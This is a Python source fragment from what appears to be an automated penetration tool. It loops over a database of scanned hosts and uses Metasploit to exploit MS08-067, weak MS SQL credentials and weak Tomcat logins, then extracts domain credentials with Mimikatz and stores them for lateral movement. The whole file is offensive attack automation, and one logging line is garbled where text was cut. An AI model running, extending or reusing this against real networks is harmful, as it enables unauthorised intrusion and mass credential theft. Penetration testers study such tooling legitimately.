def vulnExploiter(footprint_id, options):
conf = ConfigParser.ConfigParser()
conf.read("connections.conf")
db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db'))
db.autocommit(True)
msfpass = ""
while msfpass == "":
time.sleep(1)
msfpass = dbfunctions.getMsfPass(db, footprint_id)
while True:
if options.exploitMs08067:
host_data = dbfunctions.getHostVulnerableToMS08067(db, footprint_id)
if host_data == None:
logVal("ms08", "no vulnerable hosts. will check again in 5 seconds")
else:
print "exploiting ms08"
p1 = multiprocessing.Process(target=exploitMS08067, args=(footprint_id, ))
p1.start()
p1.join()
if options.expoitWeakMsSqlCreds:
host_data = dbfunctions.getHostVulnerableWeakSqlCreds(db, footprint_id)
if host_data == None:
logVal("sql", "no vulnerable hosts. will check again in 5 seconds")
else:
print "exploiting sql"
p2 = multiprocessing.Process(target=exploitWeakSqlCreds, args=(footprint_id, ))
p2.start()
p2.join()
if options.exploitWeakTomcatCreds:
host_data = dbfunctions.getHostVulnerableWeakTomcatCreds(db, footprint_id)
if host_data == None:
logVal("tomcat", "no vulnerable hosts. will check again in 5 seconds")
else:
print "exploiting tomcat"
p2 = multiprocessing.Process(target=exploitWeakTomcatCreds, args=(footprint_id, ))
p2.start()
p2.join()
if options.credPivot:
host_data = dbfunctions.getHostToLogInTo(db, footprint_id)
if host_data == None:
logVal("cred", "no hosts to log in to. will check again in 5 seconds")
else:
#collectCredentials(footprint_id)
print "logging in with known creds"
p = multiprocessing.Process(target=collectCredentials, args=(footprint_id, ))
p.start()
p.join()
time.sleep(1)
def exploitWeakSqlCreds(footprint_id):
logVal("sql", "started")
conf = ConfigParser.ConfigParser()
conf.read("connections.conf")
db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db'))
db.autocommit(True)
msfpass = ""
while msfpass == "":
time.sleep(1)
msfpass = dbfunctions.getMsfPass(db, footprint_id)
connected = False
sqlclient = None
sqlconsole_id = None
logVal("sql", "got pass: "******"sql", "got res: " + str(sqlres))
sqlconsole_id = sqlres['id']
if True:
if True:
#while True:
host_data = dbfunctions.getHostVulnerableWeakSqlCreds(db, footprint_id)
if host_data == None:
logVal("sql", "no vulnerable hosts. will check again in 5 seconds")
time.sleep(5)
else:
#try:
if True:
logVal("sql", "exploiting host {0}".format(host_data[0]))
lhost = netifaces.ifaddresses('eth0')[netifaces.AF_INET][0]['addr']
msflog = metasploitfunctions.exploitWeakMsSqlCreds(sqlclient, sqlconsole_id, lhost, host_data[0], msfpass, host_data[3].split(":")[0], host_data[3].split(":")[1].replace("<empty>", ""))
logVal("sql", "done exploiting {0}. extracting creds".format(host_data[0]))
creds = metasploitfunctions.extractMimikatzCreds(msflog)
for cred in creds:
dbfunctions.addDomainCreds(db, footprint_id, cred[1], cred[0], cred[2], "", "", "")
logVal("sql", "adding creds {0} :: {1} :: {2}".format(cred[1], cred[0], cred[2]))
dbfunctions.setHostExploitedDate(db, host_data[1])
